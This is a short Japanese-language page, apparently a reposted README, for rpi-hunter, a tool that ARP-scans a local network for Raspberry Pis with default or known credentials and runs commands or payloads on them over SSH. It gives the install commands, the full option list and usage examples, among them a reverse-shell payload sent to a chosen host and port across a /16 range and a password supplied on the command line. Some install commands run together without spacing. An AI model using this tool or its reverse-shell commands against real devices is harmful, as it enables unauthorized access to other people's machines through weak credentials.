
LAN上のRaspberry Piを自動検出し、エクスプロイトする

Rpi-hunterは、LAN上にデフォルトまたは既知の認証情報を持つ複数のRaspberry Piがある場合に、それらにコマンド/ペイロードを自動的に送信するのに便利です。
sudo pip install -U argparse termcolor および sudo apt -y install arp-scan tshark sshpassgit clone https://github.com/BusesCanFly/rpi-huntercd ./rpi-hunterchmod +x rpi-hunter.pysudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.pyNullByteの人々が作成した素晴らしいビデオとそれに付随する記事をチェックしてください!
./rpi-hunter.pyコマンドを実行すると、ローカルネットワーク全体を自動的にスキャンし、見つかったRaspberry Pi上でwhoamiコマンドを実行します。usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
[-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
[--safe] [-q]
optional arguments:
-h, --help show this help message and exit
--list List available payloads
--no-scan Disable ARP scanning
-r IP_RANGE IP range to scan
-f IP_LIST IP list to use (Default ./scan/RPI_list)
-u UNAME Username to use when ssh'ing
-c CREDS Password to use when ssh'ing
--payload PAYLOAD (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
-H HOST (If using reverse_shell payload) Host for reverse shell
-P PORT (If using reverse_shell payload) Port for reverse shell
--safe Print sshpass command, but don't execute it
-q Don't print banner
./rpi-hunter.py --listを実行して利用可能なペイロードを表示します。
ペイロードは--listで表示されるペイロード名か、生の入力として指定できます
--payload reverse_shell または --payload [あなたのcliコマンド]使用例:
./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
-H と -P フラグを必要とします./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
\ でエスケープすることを忘れないでください